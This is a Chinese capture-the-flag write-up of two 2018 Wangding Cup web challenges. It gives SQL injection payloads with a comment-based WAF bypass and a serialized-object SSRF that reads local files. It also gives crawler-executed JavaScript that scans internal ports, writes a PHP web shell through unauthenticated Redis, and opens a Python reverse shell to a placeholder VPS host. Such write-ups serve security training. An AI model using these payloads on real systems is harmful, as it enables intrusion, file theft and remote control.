Web

facebook

打开题目,发现Web应用有两个功能。一个是登录,一个是注册,如下:

发现注册的时候blog处只能写url链接

而且在查看用户信息的时候,发现Web应用加载了用户的blog网址,这里就存在SSRF漏洞。

在进行fuzz测试的时候,发现查看用户信息界面存在SQL注入,直接使用报错注入,会发现数据库里面只有用户的注册信息,如下:

爆表名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

这里发现data字段存放的事用户信息经过反序列化的结果,结合前面 view.php 页面会加载用户的blog信息,所以这里极有可能是利用反序化数据库中的data字段,然后取出url字段并加载,即可以SSRF。

所以我们要做的就是将SQL语句查询结果中data字段反序列化后,内容中的url等于flag.php即可(因为在测试的时候发现存在flag.php文件,所以我们可以先读取该文件)。所以我们构造SQL语句如下:

/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

上面base64解密即可得到flag。这里注意一些点,直接用 union select 会被WAF检测到,所以我们添加了 /**/ 来绕过。还有就是我们反序列化字符串放在第四列,因为对应为data列名,原因看上面爆列名的结果。

这题的常规解法是先看robots.txt,发现有源码泄露,然后根据泄露的源码构造反序列化字符串,之后的过程和上面一样,不赘述。

我们可以阅读一下view.php,就大致明白原理了

spider

这题 参考官方WP (官方WP中部分payload有错误,有的不全,有的复制空格丢失)

题目界面如下,网站title提示为 python flask 程序( title:控制台-自豪地采用Flask )

访问 robots.txt 发现存在 /get_sourcecode 文件,访问该URL提示 NOT 127.0.0.1

尝试伪造IP绕过,发现并不能,转换思路。首页的爬虫分析系统会执行 JS 代码,我们构造如下代码,通过服务器执行 JS 代码来访问 /get_sourcecode 文件。(下面会用到 Ajax 内容,不会请先点 这里

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200){
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
    xmlhttp.send();

}
loadXMLDoc();
</script>

当服务器执行 AJAX 请求后,会把返回结果存在 idflaga标签 中。

拿到 get_sourcecode 源代码,具体如下:

在第61行处发现 redis 关键字 dbfilename ,猜测题目存在 一个 redis 未授权访问,攻击思路应该是通过 redis 写马 getshell。我们先通过 JS 代码探测主机开放了哪些web端口。(这里有个小坑,通过 JS 代码并不能发现 redis 的端口6379是开放的,但是该端口确实是开放的。有人说 JS 代码只能探测Web类端口,在探测redis端口的时候回卡在等待界面,具体原因还需细究。)

<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,6379,8000,8080,8088];
for(var i in ports){
    var script =   document.createElement("script");
    poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
    script.setAttribute("src","http://127.0.0.1:" + ports[i]);
    script.setAttribute("onload", poc);
    TagName.appendChild(script);
}
</script>

发现 8000端口开放 着,猜测可能运行着一个PHP 的Web服务。再次通过 JS 代码,操纵 redis 并写入 shell :

<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
    xmlHttp = new XMLHttpRequest();
}
else{
    xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}

var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

接着构造 JS 代码访问我们构造的PHP文件即可获得flag:

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
    xmlhttp.send();
}
loadXMLDoc();
</script>

PS:直接反弹shell也可以,测试的时候发现直接用bash反弹不行,但是用python代码可以反弹回来,可能是题目环境限制了一些关键词。

补充一下 反弹shellpayload

<a id="flag">pwn</ a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
    xmlHttp = new XMLHttpRequest();
}
else{
    xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\');eval($_GET[_]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
    xmlhttp.send();
}
loadXMLDoc();
</script>

其他WP

i春秋网鼎杯网络安全大赛minified题目writeup

网鼎杯第一场spider题详细writeup

2018网(PWN)鼎杯第一场解题记录(Writeup)

源链接

Hacking more

...